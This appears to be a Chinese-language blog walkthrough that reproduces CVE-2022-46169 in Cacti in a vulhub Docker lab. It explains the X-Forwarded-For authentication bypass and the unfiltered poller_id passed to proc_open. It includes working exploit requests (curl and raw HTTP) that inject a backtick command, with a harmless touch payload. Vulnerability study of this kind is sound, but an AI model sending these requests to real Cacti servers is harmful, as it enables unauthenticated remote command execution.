CVE-2022-46169漏洞复现

环境搭建:ubuntu

sudo apt update

sudo apt install proxychains4

sudo nano /etc/proxychains4.conf

socks4 127.0.0.1 1080 # 代理服务器地址为127.0.0.1,端口为1080,根据实际情况修改

sudo apt install curl

sudo apt update && sudo apt install --reinstall ca-certificates

proxychains curl -fsSL https://get.docker.com | sh

docker versioon

docker compose version

proxychains git clone https://github.com/vulhub/vulhub.git

cd vulhub/cacti/CEV-2022-46169

docker compose up -d 可以通过docker ps -a查看信息

注:在cd vulhub/cacti/CEV-2022-46169中的vim docker-compose.yml可以修改端口号等

然后通过主机的浏览器访问http://虚拟机地址:8080 端口(或者是你修改的端口号)

账号以及密码都是admin

安装xdebug:

pecl install xdebug-3.1.6

运行安装 xdebug

docker-php-ext-enable xdebug

启用 xdebug 扩展

在/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

添加如下内容:

zend_extension=xdebug

xdebug.mode=debug

xdebug.start_with_request=yes(记得在vscode中的终端进行调试)

复现分析:

1:身份绕过漏洞(未授权访问)

位置:remote_agent.php 文件中的客户端IP校验逻辑

利用方式:

添加 X-Forwarded-For: 127..0.0.1 请求头

原理:get_client_addr() 函数未验证代理头真实性,导致攻击者可伪装为本地IP

漏洞代码:

function poll_for_data() {

$local_data_id = get_nfilter_request_var('local_data_id');

$host_id = get_filter_request_var('host_id');

$poller_id = get_nfilter_request_var('poller_id'); // 未过滤参数

item = db_fetch_row("SELECT action FROM poller_item WHERE id=poller_id");

switch ($item['action']) {

case 2: // POLLER_ACTION_SCRIPT_PHP

$cactiphp = proc_open(

"php script_server.php $poller_id", // 直接拼接命令

$descriptorspec,

$pipes

);

break;

}

}

对于接受的参数使用get_filter_request_var函数进行过滤,下面还用了cacti_escapeshellarg对$poller_id参数进行了转义

然后我们使用已近拥有的pyload:

/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

X-Forwarded-For: 127.0.0.1

然后使用curl或者burp suite

curl:curl "http://192.168.1.37:8080/remote_agent.php?action=polldata\&local_data_ids\[0\]=6\&host_id=1\&poller_id=\\\`touch+/tmp/success\\\`" -H "X-Forwarded-For: 127.0.0.1"

burp:GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/1` HTTP/1.1

Host: 192.168.1.13:8080

Cache-Control: max-age=0

X-Forwarded-For: 127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0

Connection: close

通过代码可以看到调用了remote_client_authorized函数进行了一个检测

其中又调用了get_client_addr函数

查看这个代码的逻辑

使用$_SERVER来匹配这些http headers头,如果存在该headers头,就用explode去对数据进行分隔处理,不为空则进入if判断,又检测其是否为IP,进行了一个取反,所以进入了else,对client_addr进行了赋值,使用了break 2跳出了二层循环,返回了值

获取了client_addr后,还会进行一系列处理,判断是否为空,再次检测是不是ip,然后使用gethostbyaddr函数获取到localhost,

调用数据库查询,数据库中默认的hostname就是localhost,所以最终返回true,成功绕过了鉴权

由于我们参数可控,可以采用暴力猜解等方法,进行爆ip和构造X-Fowarded-For:127.0.0.1。

上面成功绕过鉴权后,后续会提取参数进入一个switch,这里控制action为polldata,进入poll_for_data。

获取local_data_ids host_id poller_id

接着就会在数据库中进行查询,将数据处理后switch判断action的值

当action的值为POLLER_ACTION_SCRIPT_PHP时,便可进入执行命令的逻辑

总结:

rce 执行归结于 proc_open函数 他直接进行了拼接,且未对我们用户的输入做过滤,导致了rce

鉴权函数也可以优化,最简单的方法就是改变一下那个数组的顺序,将用户不能控制的ip放在最前面,让他循环一次就会直接判断

而且他这个回显的过滤也很好绕过。

但是终归还是没对用户的输入做过滤

相关推荐
神梦流6 小时前
GE 引擎的非标准数据流处理:稀疏张量与自定义算子在图优化中的语义保持
linux·运维·服务器
.小墨迹6 小时前
apollo学习之借道超车的速度规划
linux·c++·学习·算法·ubuntu
Lsir10110_7 小时前
【Linux】中断 —— 操作系统的运行基石
linux·运维·嵌入式硬件
Sheffield7 小时前
command和shell模块到底区别在哪?
linux·云计算·ansible
历程里程碑7 小时前
Linux20 : IO
linux·c语言·开发语言·数据结构·c++·算法
郝学胜-神的一滴7 小时前
深入浅出:使用Linux系统函数构建高性能TCP服务器
linux·服务器·开发语言·网络·c++·tcp/ip·程序人生
承渊政道7 小时前
Linux系统学习【Linux系统的进度条实现、版本控制器git和调试器gdb介绍】
linux·开发语言·笔记·git·学习·gitee
技术路上的探险家7 小时前
Ubuntu下Docker与NVIDIA Container Toolkit完整安装教程(含国内源适配)
linux·ubuntu·docker
代码AC不AC7 小时前
【Linux】深入理解缓冲区
linux·缓冲区·标准错误
Doro再努力7 小时前
【Linux操作系统12】Git版本控制与GDB调试:从入门到实践
linux·运维·服务器·git·vim